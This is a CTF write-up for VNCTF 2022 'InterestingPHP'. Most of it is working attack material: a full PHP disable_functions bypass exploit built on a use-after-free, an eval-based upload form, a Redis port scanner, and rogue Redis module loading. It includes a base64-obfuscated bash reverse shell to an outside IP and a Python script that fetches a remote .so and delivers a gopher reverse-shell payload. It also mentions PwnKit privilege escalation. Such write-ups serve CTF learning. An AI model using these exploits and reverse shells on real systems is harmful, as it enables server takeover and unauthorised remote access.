VNCTF 2022 InterestingPHP

After opening the environment, there is a simple line of code , The shorter the code, the more difficult the problem is ....

 <?php highlight_file(__FILE__); @eval($_GET['exp']);?> 

Try... Here phpinfo And so on ban 了 , So read it through other functions disable_function Take a look at the filter function

function

These two functions are mainly used to read configuration information

ini_get_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ini_get_all — Get all configuration options

explain ini_get_all(string $extension = ?, bool $details = true): array
Get all registered configuration options

get_cfg_var

(PHP 4, PHP 5, PHP 7, PHP 8)

get_cfg_var — obtain PHP Values for configuration options

explain get_cfg_var(string $option): mixed obtain PHP configuration option option Value .

This function does not return PHP Compiled configuration information , Or from Apache Profile read .

Check whether the system uses a configuration file , And try to get cfg_file_path The value of the configuration setting of . If effective , A configuration file will be used .

The blacklist

In the use of get_cfg_var No echo found , Later, it was changed to ini_get_all Read configuration information , After reading, it is found that get_cfg_var Also by ban 了

Solution 1

Write an upload entry

<form id="upload-form" action="http://adbda8f7-1894-4fb9-97b9-0ec6f2be294c.node4.buuoj.cn:81/?exp=eval($_POST[1]);" method="post" enctype="multipart/form-data" >
<input type="file" id="Upload" name="1" /> <br />
<input type="submit" value="Upload" />
</form>

Discovery can be executed and php Version is 7.2.25

Use master's script to bypass disable_functions

https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php

Check to see if there are any filtered parts before executing

filter = 'include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,' \
'fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,' \
'phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,' \
'pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,' \
'pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,' \
'pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' \
'iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,' \
'error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var'.split(
',')
payload = ''' <?php pwn('uname -a'); function pwn($cmd) { define('LOGGING', false); define('CHUNK_DATA_SIZE', 0x60); define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE); define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50); define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1); define('CMD', $camd); for($i = 0; $i < 10; $i++) { $groom[] = Pwn::alloc(STRING_SIZE); } stream_filter_register('pwn_filter', 'Pwn'); $fd = fopen('php://memory', 'w'); stream_filter_append($fd,'pwn_filter'); fwrite($fd, 'x'); } class Helper { public $a, $b, $c; } class Pwn extends php_user_filter { private $abc, $abc_addr; private $helper, $helper_addr, $helper_off; private $uafp, $hfp; public function filter($in, $out, &$consumed, $closing) { if($closing) return; stream_bucket_make_writeable($in); $this->filtername = Pwn::alloc(STRING_SIZE); fclose($this->stream); $this->go(); return PSFS_PASS_ON; } private function go() { $this->abc = &$this->filtername; $this->make_uaf_obj(); $this->helper = new Helper; $this->helper->b = function($x) {}; $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2; $this->log("helper @ 0x%x", $this->helper_addr); $this->abc_addr = $this->helper_addr - CHUNK_SIZE; $this->log("abc @ 0x%x", $this->abc_addr); $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18; $helper_handlers = $this->str2ptr(CHUNK_SIZE); $this->log("helper handlers @ 0x%x", $helper_handlers); $this->prepare_leaker(); $binary_leak = $this->read($helper_handlers + 8); $this->log("binary leak @ 0x%x", $binary_leak); $this->prepare_cleanup($binary_leak); $closure_addr = $this->str2ptr($this->helper_off + 0x38); $this->log("real closure @ 0x%x", $closure_addr); $closure_ce = $this->read($closure_addr + 0x10); $this->log("closure class_entry @ 0x%x", $closure_ce); $basic_funcs = $this->get_basic_funcs($closure_ce); $this->log("basic_functions @ 0x%x", $basic_funcs); $zif_system = $this->get_system($basic_funcs); $this->log("zif_system @ 0x%x", $zif_system); $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2; for($i = 0; $i < 0x138; $i += 8) { $this->write($fake_closure_off + $i, $this->read($closure_addr + $i)); } $this->write($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this->write($fake_closure_off + $handler_offset, $zif_system); $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off; $this->write($this->helper_off + 0x38, $fake_closure_addr); $this->log("fake closure @ 0x%x", $fake_closure_addr); $this->cleanup(); ($this->helper->b)(CMD); } private function make_uaf_obj() { $this->uafp = fopen('php://memory', 'w'); fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE)); for($i = 0; $i < STRING_SIZE; $i++) { fwrite($this->uafp, "\x00"); } } private function prepare_leaker() { $str_off = $this->helper_off + CHUNK_SIZE + 8; $this->write($str_off, 2); $this->write($str_off + 0x10, 6); $val_off = $this->helper_off + 0x48; $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8); $this->write($val_off + 8, 0xA); } private function prepare_cleanup($binary_leak) { $ret_gadget = $binary_leak; do { --$ret_gadget; } while($this->read($ret_gadget, 1) !== 0xC3); $this->log("ret gadget = 0x%x", $ret_gadget); $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60)); $this->write(8, $ret_gadget); } private function read($addr, $n = 8) { $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10); $value = strlen($this->helper->c); if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } return $value; } private function write($p, $v, $n = 8) { for($i = 0; $i < $n; $i++) { $this->abc[$p + $i] = chr($v & 0xff); $v >>= 8; } } private function get_basic_funcs($addr) { while(true) { // In rare instances the standard module might lie after the addr we're starting // the search from. This will result in a SIGSGV when the search reaches an unmapped page. // In that case, changing the direction of the search should fix the crash. // $addr += 0x10; $addr -= 0x10; if($this->read($addr, 4) === 0xA8 && in_array($this->read($addr + 4, 4), [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if($module_name === 0x647261646e617473) { $this->log("standard module @ 0x%x", $addr); return $this->read($addr + 0x28); } } } } private function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->read($addr); $f_name = $this->read($f_entry, 6); if($f_name === 0x6d6574737973) { return $this->read($addr + 8); } $addr += 0x20; } while($f_entry !== 0); } private function cleanup() { $this->hfp = fopen('php://memory', 'w'); fwrite($this->hfp, pack('QQ', 0, $this->abc_addr)); for($i = 0; $i < FILTER_SIZE - 0x10; $i++) { fwrite($this->hfp, "\x00"); } } private function str2ptr($p = 0, $n = 8) { $address = 0; for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($this->abc[$p + $j]); } return $address; } private function ptr2str($ptr, $n = 8) { $out = ''; for ($i = 0; $i < $n; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } private function log($format, $val = '') { if(LOGGING) { printf("{$format}\n", $val); } } } static function alloc($size) { return str_shuffle(str_repeat('A', $size)); } } ?> '''
for i in filter:
# print(i)
    if i in payload:
        print(i)
        continue

Find out fwrite Filtered , But you can use fputs

pwn('uname -a');

function pwn($cmd) {
    
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
    
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}

class Helper {
     public $a, $b, $c; }
class Pwn extends php_user_filter {
    
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
    
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
    
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {
    };

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
    
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
    
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
    
            fputs($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
    
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
    
        $ret_gadget = $binary_leak;
        do {
    
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
    
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) {
     $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
    
        for($i = 0; $i < $n; $i++) {
    
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
    
        while(true) {
    
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
    
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
    
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
    
        $addr = $basic_funcs;
        do {
    
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
    
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
    
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
    
            fputs($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
    
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
    
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
    
        $out = '';
        for ($i = 0; $i < $n; $i++) {
    
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
    
        if(LOGGING) {
    
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
    
        return str_shuffle(str_repeat('A', $size));
    }
}

After modification, it will echo "123"; Change to the one above poc, Found successful execution

Play it shell

I found that I didn't have permission after playing

find / -perm -u=s -type f 2>/dev/null

suid Raise the right --> pkexec Raise the right arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) (github.com)

Download it and transfer it to the server , adopt curl The command is sent to the other server , Command execution is in progress

Solution 2

perform var_dump(scandir(‘.’)); after , Found a local redis Backup file

adopt /?exp=highlight_file('secret.rdb'); obtain redis key,ye_w4nt_a_gir1fri3nd

The default port of this question is not 6379, So I need to sweep it redis The port of

<?php
highlight_file(__FILE__);
for($i=0;$i<65535;$i++) {
    
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    
    var_dump($i);
  }
}

base64 code +url Write after encoding 2.php

visit 2.php, Get the corresponding port 8888

After through get_loaded_extensions() View all loaded extensions , See if any of them can be related to redis interactive ?exp=var_dump(get_loaded_extensions());( By default, the ant sword uses stream_get_contents() But it was ban 了 )

Find out redis Class available , Reference resources ：

https://blog.csdn.net/raoxiaoya/article/details/100515541

https://learnku.com/articles/32113

obtain redis class 、 Port and key after , Use redis How to load modules rce https://xz.aliyun.com/t/5665#toc-14

Upload so File to local server Then bounce back shell

n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

take exp.so Conduct base64 code , It's going on url code , After through file_put_contents The exp.so In file

Write another execution exp.so The file of 1.php,Redis There are rawCommand() ⽅ Law can be enforced ⾏redis Command operation of

<?php
highlight_file(__FILE__); 
$redis = new Redis(); 
$redis->connect('127.0.0.1',8888); 
$redis->auth('ye_w4nt_a_gir1fri3nd'); 
$redis->rawCommand('module','load','/var/www/html/exp.so'); 
$redis->rawCommand("system.exec","bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}'");

Again base64 code +url After the coding , write in 1.php

visit 1.php Successful rebound shell

You can also use scripts directly

import requests
url = "http://fd489e4d-b856-427b-aa9b-4616a6d053a2.node4.buuoj.cn:81/?exp=eval($_POST[1]);"
headers = {
    "content-type": "application/x-www-form-urlencoded"}

def encoder_url(data):
    encoder = ""
    for single_char in data:
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    return encoder

so = "http://xxxxx/exp.so"
payload = ''' function getSslPage($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); $result = curl_exec($ch); curl_close($ch); file_put_contents("exp.so",$result); } getSslPage("%s"); '''.strip()
data = {
    
    1: payload % so
}

fh = requests.post(url, data, headers=headers).text.strip()
print(fh)

gopher = "gopher://127.0.0.1:8888/_"
data = ''' auth ye_w4nt_a_gir1fri3nd config set dbfilename 666.rdb module load ./exp.so system.exec 'bash -c "bash -i >& /dev/tcp/xxxxxxx/4000 0>&1"' '''
encoder = encoder_url(data)
payload1 = gopher + encoder

data1 = {
    
    1:payload % payload1
}
fh1 = requests.post(url,data1,headers=headers).text.strip()
print(fh1)

Then there is the right raising Just like the front